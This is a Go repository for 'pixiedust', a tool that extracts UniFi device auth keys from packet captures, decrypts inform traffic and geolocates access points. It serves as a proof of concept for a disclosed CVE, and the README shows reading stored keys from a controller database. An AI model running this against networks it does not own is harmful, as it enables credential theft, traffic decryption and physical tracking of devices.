├── .gitignore ├── locinform.pcap ├── unifi-fresh-usw.pcap ├── go.mod ├── LICENSE ├── README.md ├── main.go ├── extraction.go ├── httpstream.go └── go.sum /.gitignore: -------------------------------------------------------------------------------- 1 | pixiedust 2 | -------------------------------------------------------------------------------- /locinform.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jda/pixiedust/HEAD/locinform.pcap -------------------------------------------------------------------------------- /unifi-fresh-usw.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jda/pixiedust/HEAD/unifi-fresh-usw.pcap -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/jda/pixiedust 2 | 3 | go 1.15 4 | 5 | require ( 6 | github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b 7 | github.com/google/gopacket v1.1.19 8 | github.com/google/uuid v1.1.2 // indirect 9 | github.com/jda/nanofi v0.0.0-20201120014357-2bfb48c3a67d 10 | go.opencensus.io v0.22.5 // indirect 11 | golang.org/x/net v0.0.0-20201110031124-69a78807bb2b // indirect 12 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68 // indirect 13 | golang.org/x/time v0.0.0-20200630173020-3af7569d3a1e // indirect 14 | googlemaps.github.io/maps v1.3.1 15 | ) 16 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Jade Angrboða 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # pixiedust 2 | Tool for exploring Ubiquiti UniFi inform traffic & proof of concept for [CVE-2020-28936](https://jade.wtf/words/unifi-l3inform-crypto). 3 | 4 | ## Building 5 | 1. You need [go](https://golang.org/). 6 | 2. Clone git repo. 7 | 3. `go build` 8 | 9 | ## Usage 10 | 11 | Extract keys from pcap of device adoption: 12 | ``` 13 | $ ./pixiedust -in unifi-fresh-usw.pcap -findkeys -message=false -logtostderr=false 14 | 0ee876dee74ff09c2e88387ecda39512 15 | ``` 16 | 17 | View inform sent from device (truncated here): 18 | ``` 19 | $ ./pixiedust -in unifi-fresh-usw.pcap | jq | head -10 20 | I1120 00:15:22.540899 13221 extraction.go:59] discovered key: 0ee876dee74ff09c2e88387ecda39512 for 10.0.1.48 21 | { 22 | "architecture": "armv7l", 23 | "board_rev": 9, 24 | "bootid": 0, 25 | "bootrom_version": "usw-USHR3_v1.0.11.60-ga2f339b1", 26 | "cfgversion": "?", 27 | "default": true, 28 | ``` 29 | 30 | View config settings as applied to device (filtered to inform response because big output...): 31 | ``` 32 | $ ./pixiedust -in unifi-fresh-usw.pcap 2>&1|head -3|tail -2 33 | {"_type":"setparam","mgmt_cfg":"capability=notif,fastapply-bg,notif-assoc-stat\nselfrun_guest_mode=pass\ncfgversion=bd4b0ca608dd9ca5\nled_enabled=false\nstun_url=stun://unifi:3478/\nmgmt_url=https://unifi:8443/manage/site/default\nauthkey=0ee876dee74ff09c2e88387ecda39512\nuse_aes_gcm=true\nreport_crash=true\n","server_time_in_utc":"1605818282220"} 34 | I1120 00:11:43.163105 13121 extraction.go:59] discovered key: 0ee876dee74ff09c2e88387ecda39512 for 10.0.1.48 35 | ``` 36 | 37 | Geolocate WiFi APs by scan data (and suppress inform request/response so you don't miss it): 38 | ``` 39 | $ export PD_MAPS_API_KEY=your_google_maps_key_here 40 | $ ./pixiedust -in locinform.pcap -locate -message=false 41 | Device E063DA85AAC5 at 37.533223,-121.998402 (32.000000) 42 | Device E063DA85AAC5 at 37.533154,-121.998379 (122.000000) 43 | Device E063DA85AAC5 at 37.532886,-121.997456 (164.000000) 44 | Device E063DA85AAC5 at 37.532843,-121.997286 (175.000000) 45 | Device E063DA85AAC5 at 37.532932,-121.998446 (125.000000) 46 | Device E063DA85AAC5 at 37.532959,-121.998441 (125.000000) 47 | Device E063DA85AAC5 at 37.532993,-121.998439 (125.000000) 48 | Device E063DA85AAC5 at 37.532977,-121.998488 (60.000000) 49 | Device E063DA85AAC5 at 37.532987,-121.998509 (101.000000) 50 | ``` 51 | 52 | ## Need keys and don't want to wait for an adopt? 53 | Here's an example of how you'd retrieve current keys from UniFi controller's database: 54 | ``` 55 | admin@unifi:~$ mongo 127.0.0.1:27117/ace 56 | MongoDB shell version v3.6.8 57 | connecting to: mongodb://127.0.0.1:27117/ace 58 | Implicit session: session { "id" : UUID("b29aa101-e19d-42c6-86f0-bfe0be52af81") } 59 | MongoDB server version: 3.6.8 60 | Server has startup warnings: 61 | 2020-11-09T22:48:24.711+0000 I CONTROL [initandlisten] 62 | 2020-11-09T22:48:24.712+0000 I CONTROL [initandlisten] ** WARNING: Access control is not enabled for the database. 63 | 2020-11-09T22:48:24.712+0000 I CONTROL [initandlisten] ** Read and write access to data and configuration is unrestricted. 64 | 2020-11-09T22:48:24.712+0000 I CONTROL [initandlisten] 65 | > db.device.find({}, {x_authkey:1, _id: 0}) 66 | { "x_authkey" : "0d90127a28666c197a1d1798258a2036" } 67 | > 68 | bye 69 | ``` 70 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | // pixiedust is a tool for extracting Ubiquiti UniFi configuration 2 | // data from packet capture files. 3 | package main 4 | 5 | import ( 6 | "bufio" 7 | "flag" 8 | "fmt" 9 | "os" 10 | "runtime/pprof" 11 | "sync" 12 | 13 | "github.com/golang/glog" 14 | "github.com/google/gopacket" 15 | "github.com/google/gopacket/layers" 16 | "github.com/google/gopacket/pcapgo" 17 | "github.com/google/gopacket/tcpassembly" 18 | ) 19 | 20 | func init() { 21 | flag.Set("logtostderr", "true") 22 | } 23 | 24 | var showHeader bool 25 | var showMsg bool 26 | var showCoords bool 27 | var showKeys bool 28 | 29 | func main() { 30 | var wg sync.WaitGroup 31 | 32 | cpuprofile := flag.String("cpuprofile", "", "write cpu profile to file") 33 | fname := flag.String("in", "", "input file name (pcap)") 34 | flag.BoolVar(&showHeader, "header", false, "show inform header") 35 | flag.BoolVar(&showMsg, "message", true, "show config message") 36 | flag.BoolVar(&showCoords, "locate", false, "geolocate devices") 37 | flag.BoolVar(&showKeys, "findkeys", false, "show keys") 38 | keyfname := flag.String("keys", "", "read keys from file") 39 | flag.Parse() 40 | 41 | if *cpuprofile != "" { 42 | f, err := os.Create(*cpuprofile) 43 | if err != nil { 44 | glog.Fatal(err) 45 | } 46 | pprof.StartCPUProfile(f) 47 | defer pprof.StopCPUProfile() 48 | } 49 | 50 | if *fname == "" { 51 | fmt.Println("error: no input file") 52 | os.Exit(1) 53 | } 54 | 55 | f, err := os.Open(*fname) 56 | if err != nil { 57 | glog.Fatalf("cannot open input: %s", err) 58 | } 59 | defer f.Close() 60 | 61 | if *keyfname != "" { 62 | err = loadKeys(*keyfname) 63 | if err != nil { 64 | glog.Errorf("could not read keys from %s: %s", *keyfname, err) 65 | } 66 | } 67 | 68 | r, err := pcapgo.NewReader(f) 69 | if err != nil { 70 | glog.Fatalf("cannot parse: %s", err) 71 | } 72 | 73 | readStream(&wg, r) 74 | wg.Wait() 75 | 76 | if showKeys { 77 | for _, v := range sk.v { 78 | fmt.Println(v) 79 | } 80 | } 81 | } 82 | 83 | func loadKeys(keyfname string) error { 84 | f, err := os.Open(keyfname) 85 | if err != nil { 86 | return err 87 | } 88 | defer f.Close() 89 | 90 | s := bufio.NewScanner(f) 91 | s.Split(bufio.ScanLines) 92 | for s.Scan() { 93 | sk.v = append(sk.v, s.Text()) 94 | } 95 | if err := s.Err(); err != nil { 96 | return err 97 | } 98 | 99 | return nil 100 | } 101 | 102 | func readStream(wg *sync.WaitGroup, r *pcapgo.Reader) { 103 | 104 | // Set up assembly 105 | streamFactory := &httpStreamFactory{wg} 106 | streamPool := tcpassembly.NewStreamPool(streamFactory) 107 | assembler := tcpassembly.NewAssembler(streamPool) 108 | 109 | // Read in packets, pass to assembler. 110 | packetSource := gopacket.NewPacketSource(r, layers.LayerTypeEthernet) 111 | packets := packetSource.Packets() 112 | for { 113 | select { 114 | case packet := <-packets: 115 | // A nil packet indicates the end of a pcap file. 116 | if packet == nil { 117 | return 118 | } 119 | 120 | if packet.NetworkLayer() == nil || packet.TransportLayer() == nil || packet.TransportLayer().LayerType() != layers.LayerTypeTCP { 121 | continue 122 | } 123 | 124 | tcp := packet.TransportLayer().(*layers.TCP) 125 | assembler.AssembleWithTimestamp(packet.NetworkLayer().NetworkFlow(), tcp, packet.Metadata().Timestamp) 126 | } 127 | } 128 | } 129 | -------------------------------------------------------------------------------- /extraction.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "encoding/json" 6 | "fmt" 7 | "os" 8 | "strings" 9 | 10 | "github.com/golang/glog" 11 | "googlemaps.github.io/maps" 12 | ) 13 | 14 | type informMsg struct { 15 | Type string `json:"_type"` 16 | MgmtCfg string `json:"mgmt_cfg"` 17 | AuthKey string 18 | RadioTable []Radio `json:"radio_table"` 19 | Location Geo 20 | Serial string `json:"serial"` 21 | } 22 | 23 | type Geo struct { 24 | } 25 | 26 | type Radio struct { 27 | ScanTable []Neighbor `json:"scan_table"` 28 | } 29 | 30 | type Neighbor struct { 31 | Band string `json:"band"` 32 | BSSID string `json:"bssid"` 33 | Bandwidth int `json:"bw"` 34 | Channel int `json:"channel"` 35 | ESSID string `json:"essid"` 36 | Noise int `json:"noise"` 37 | Signal int `json:"signal"` 38 | Age int `json:"age"` 39 | } 40 | 41 | var located SafeUniqueList 42 | 43 | func extractInfo(payload []byte, src string) { 44 | var im informMsg 45 | payload = []byte(strings.ReplaceAll(string(payload), "\\n", ",")) 46 | json.Unmarshal(payload, &im) 47 | 48 | if im.Type == "setparam" { 49 | chunks := strings.Split(im.MgmtCfg, ",") 50 | for _, c := range chunks { 51 | parts := strings.Split(c, "=") 52 | if len(parts) != 2 { 53 | continue 54 | } 55 | 56 | if parts[0] == "authkey" { 57 | im.AuthKey = parts[1] 58 | sk.AddKey(im.AuthKey) 59 | glog.Infof("discovered key: %s for %s\n", im.AuthKey, src) 60 | break 61 | } 62 | } 63 | } 64 | 65 | if showCoords == true && im.RadioTable != nil { 66 | updateGeo(im) 67 | } 68 | } 69 | 70 | func updateGeo(im informMsg) { 71 | // check if we've already dumped geo info for device 72 | 73 | if located.Exists(im.Serial) { 74 | return 75 | } 76 | 77 | pdKey := os.Getenv("PD_MAPS_API_KEY") 78 | if pdKey == "" { 79 | glog.Info("not geolocating because no API Key, set google maps key in env PD_MAPS_API_KEY") 80 | return 81 | } 82 | 83 | neighbors := flattenNeighbors(im.RadioTable) 84 | waps := neighborsToWAP(neighbors) 85 | gRec := maps.GeolocationRequest{ 86 | ConsiderIP: false, 87 | WiFiAccessPoints: waps, 88 | } 89 | 90 | mc, err := maps.NewClient(maps.WithAPIKey(pdKey)) 91 | if err != nil { 92 | glog.Errorf("could not init maps client: %s", err) 93 | return 94 | } 95 | 96 | gr, err := mc.Geolocate(context.Background(), &gRec) 97 | if err != nil { 98 | glog.Errorf("could not geolocation device %s: %s", im.Serial, err) 99 | return 100 | } 101 | 102 | fmt.Printf("Device %s at %f,%f (%f)\n", im.Serial, gr.Location.Lat, gr.Location.Lng, gr.Accuracy) 103 | 104 | return 105 | } 106 | 107 | func neighborsToWAP(neighbors []Neighbor) []maps.WiFiAccessPoint { 108 | waps := []maps.WiFiAccessPoint{} 109 | 110 | for _, n := range neighbors { 111 | if n.Signal == 0 { 112 | continue 113 | } 114 | 115 | snr := n.Signal - n.Noise 116 | wap := maps.WiFiAccessPoint{ 117 | MACAddress: n.BSSID, 118 | SignalStrength: float64(n.Signal), 119 | Channel: n.Channel, 120 | SignalToNoiseRatio: float64(snr), 121 | } 122 | waps = append(waps, wap) 123 | } 124 | 125 | return waps 126 | } 127 | 128 | func flattenNeighbors(radios []Radio) []Neighbor { 129 | neighbors := []Neighbor{} 130 | 131 | for _, radio := range radios { 132 | neighbors = append(neighbors, radio.ScanTable...) 133 | } 134 | 135 | return neighbors 136 | } 137 | -------------------------------------------------------------------------------- /httpstream.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "fmt" 7 | "io" 8 | "net/http" 9 | "sync" 10 | 11 | "github.com/golang/glog" 12 | "github.com/google/gopacket" 13 | "github.com/google/gopacket/tcpassembly" 14 | "github.com/google/gopacket/tcpassembly/tcpreader" 15 | "github.com/jda/nanofi/inform" 16 | ) 17 | 18 | // SafeUniqueList is safe to use concurrently. 19 | type SafeUniqueList struct { 20 | v []string 21 | mux sync.RWMutex 22 | } 23 | 24 | // Keys returns list of keys 25 | func (sk *SafeUniqueList) Keys() []string { 26 | sk.mux.RLock() 27 | defer sk.mux.RUnlock() 28 | return sk.v 29 | } 30 | 31 | // AddKey adds a unique key to sk 32 | func (sk *SafeUniqueList) AddKey(key string) { 33 | sk.mux.Lock() 34 | defer sk.mux.Unlock() 35 | 36 | for _, k := range sk.v { 37 | if key == k { // bail if key already exists 38 | return 39 | } 40 | } 41 | 42 | sk.v = append(sk.v, key) 43 | } 44 | 45 | // Exists returns true if key exists in list 46 | func (sk *SafeUniqueList) Exists(key string) bool { 47 | sk.mux.RLock() 48 | defer sk.mux.RUnlock() 49 | 50 | for _, k := range sk.v { 51 | if key == k { 52 | return true 53 | } 54 | } 55 | 56 | return false 57 | } 58 | 59 | var sk SafeUniqueList 60 | 61 | // Build a simple HTTP request parser using tcpassembly.StreamFactory and tcpassembly.Stream interfaces 62 | 63 | // httpStreamFactory implements tcpassembly.StreamFactory 64 | type httpStreamFactory struct { 65 | wg *sync.WaitGroup 66 | } 67 | 68 | // httpStream will handle the actual decoding of http requests. 69 | type httpStream struct { 70 | net, transport gopacket.Flow 71 | r tcpreader.ReaderStream 72 | } 73 | 74 | func (h *httpStreamFactory) New(net, transport gopacket.Flow) tcpassembly.Stream { 75 | hstream := &httpStream{ 76 | net: net, 77 | transport: transport, 78 | r: tcpreader.NewReaderStream(), 79 | } 80 | go hstream.run(h.wg) // Important... we must guarantee that data from the reader stream is read. 81 | 82 | // ReaderStream implements tcpassembly.Stream, so we can return a pointer to it. 83 | return &hstream.r 84 | } 85 | 86 | func (h *httpStream) run(wg *sync.WaitGroup) { 87 | buf := bufio.NewReader(&h.r) 88 | 89 | src := h.net.Src().String() 90 | dest := h.net.Dst().String() 91 | 92 | for { 93 | hint, err := buf.Peek(4) 94 | if err == io.EOF { 95 | break 96 | } else if err != nil { 97 | glog.Fatalf("could not read packet: %s", err) 98 | } 99 | 100 | if bytes.Equal(hint, []byte("POST")) { 101 | req, err := http.ReadRequest(buf) 102 | if err != nil { 103 | glog.Warningf("%s->%s: could not read request: %s", src, dest, err) 104 | continue 105 | } 106 | 107 | decodeRequest(req, src, dest) 108 | req.Body.Close() 109 | continue 110 | } 111 | 112 | if bytes.Equal(hint, []byte("HTTP")) { 113 | res, err := http.ReadResponse(buf, nil) 114 | if err != nil { 115 | glog.Warningf("%s->%s: could not read response: %s", src, dest, err) 116 | continue 117 | } 118 | 119 | decodeResponse(res, src, dest) 120 | res.Body.Close() 121 | continue 122 | } 123 | 124 | buf.Discard(4) // hint failed, so skip forward 125 | } 126 | } 127 | 128 | func decodeResponse(r *http.Response, src string, dest string) { 129 | if r.StatusCode == http.StatusNotFound { 130 | //glog.Infof("device %s not known to %s (or latter is not a controller)\n", dest, src) 131 | return 132 | } 133 | 134 | if r.StatusCode == http.StatusContinue { 135 | // whatever 136 | return 137 | } 138 | 139 | ctype := r.Header.Get("Content-type") 140 | if r.StatusCode == http.StatusOK && ctype == inform.InformContentType { 141 | handleInform(r.Body, src, dest) 142 | return 143 | } 144 | 145 | glog.Warningf("unhandled code %d or content-type %s from %s\n", r.StatusCode, ctype, dest) 146 | 147 | } 148 | 149 | func decodeRequest(r *http.Request, src string, dest string) { 150 | if r.Method != http.MethodPost { 151 | return 152 | } 153 | 154 | if ctype := r.Header.Get("Content-type"); ctype != inform.InformContentType { 155 | glog.Infof("%s->%s: unexpected content-type: %s", src, dest, ctype) 156 | return 157 | } 158 | 159 | handleInform(r.Body, src, dest) 160 | } 161 | 162 | func handleInform(body io.ReadCloser, src string, dest string) { 163 | imsg, err := inform.DecodeHeader(body) 164 | if err != nil { 165 | glog.Warningf("%s: could not parse inform header: %s", src, err) 166 | return 167 | } 168 | 169 | if showHeader { 170 | fmt.Printf("%s->%s: %+v\n", src, dest, imsg) 171 | } 172 | 173 | payload, err := tryDecodePayload(imsg, body) 174 | if err != nil { 175 | glog.Warningf("%s->%s: could not decrypt inform payload: %s", src, dest, err) 176 | return 177 | } 178 | if showMsg { 179 | fmt.Printf("%s\n", payload) 180 | } 181 | extractInfo(payload, dest) // dest because keys come in responses 182 | } 183 | 184 | func tryDecodePayload(imsg inform.Header, eb io.ReadCloser) (clearBody []byte, err error) { 185 | ct, _ := io.ReadAll(eb) 186 | 187 | payload, err := imsg.DecodePayload(bytes.NewReader(ct), "") 188 | if err == nil { 189 | return payload, nil 190 | } 191 | 192 | keys := sk.Keys() 193 | for _, k := range keys { 194 | payload, err := imsg.DecodePayload(bytes.NewReader(ct), k) 195 | if err == nil { 196 | return payload, nil 197 | } 198 | } 199 | 200 | return nil, err 201 | } 202 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= 2 | github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= 3 | github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= 4 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 5 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 6 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 7 | github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b h1:VKtxabqXZkF25pY9ekfRL6a582T4P37/31XEstQ5p58= 8 | github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= 9 | github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6 h1:ZgQEtGgCBiWRM39fZuwSd1LwSqqSW0hOdXCYYDX0R3I= 10 | github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= 11 | github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= 12 | github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 13 | github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 14 | github.com/golang/snappy v0.0.2 h1:aeE13tS0IiQgFjYdoL8qN3K1N2bXXtI6Vi51/y7BpMw= 15 | github.com/golang/snappy v0.0.2/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= 16 | github.com/google/go-cmp v0.3.0 h1:crn/baboCvb5fXaQ0IJ1SGTsTVrWpDsCWC8EGETZijY= 17 | github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= 18 | github.com/google/gopacket v1.1.17/go.mod h1:UdDNZ1OO62aGYVnPhxT1U6aI7ukYtA/kB8vaU0diBUM= 19 | github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8= 20 | github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo= 21 | github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 22 | github.com/google/uuid v1.1.2 h1:EVhdT+1Kseyi1/pUmXKaFxYsDNy9RQYkMWRH68J/W7Y= 23 | github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 24 | github.com/jda/nanofi v0.0.0-20201120014357-2bfb48c3a67d h1:oEUPKMk28aNleBOr7YlnhO5m1vu9Snrwy1n4Q1ddCyQ= 25 | github.com/jda/nanofi v0.0.0-20201120014357-2bfb48c3a67d/go.mod h1:OOJ/zwk2MowEg/ZFPIHcu1jLUGWdnC6GfZUSXBw0X6g= 26 | github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= 27 | github.com/kr/pretty v0.2.0 h1:s5hAObm+yFO5uHYt5dYjxi2rXrsnmRpJx4OYvIWUaQs= 28 | github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= 29 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= 30 | github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= 31 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= 32 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 33 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 34 | github.com/sergi/go-diff v1.1.0 h1:we8PVUC3FE2uYfodKH/nBHMSetSfHDR6scGdBi+erh0= 35 | github.com/sergi/go-diff v1.1.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM= 36 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 37 | github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= 38 | github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0= 39 | github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 40 | go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= 41 | go.opencensus.io v0.22.5 h1:dntmOdLpSpHlVqbW5Eay97DelsZHe+55D+xC6i0dDS0= 42 | go.opencensus.io v0.22.5/go.mod h1:5pWMHQbX5EPX2/62yrJeAkowc+lfs/XD7Uxpq3pI6kk= 43 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 44 | golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= 45 | golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= 46 | golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= 47 | golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= 48 | golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= 49 | golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= 50 | golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= 51 | golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= 52 | golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 53 | golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 54 | golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 55 | golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 56 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 57 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 58 | golang.org/x/net v0.0.0-20201110031124-69a78807bb2b h1:uwuIcX0g4Yl1NC5XAz37xsr2lTtcqevgzYNVt49waME= 59 | golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= 60 | golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= 61 | golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 62 | golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 63 | golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 64 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 65 | golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 66 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 67 | golang.org/x/sys v0.0.0-20190405154228-4b34438f7a67/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 68 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 69 | golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 70 | golang.org/x/sys v0.0.0-20190626221950-04f50cda93cb/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 71 | golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 72 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68 h1:nxC68pudNYkKU6jWhgrqdreuFiOQWj1Fs7T3VrH4Pjw= 73 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 74 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 75 | golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= 76 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 77 | golang.org/x/time 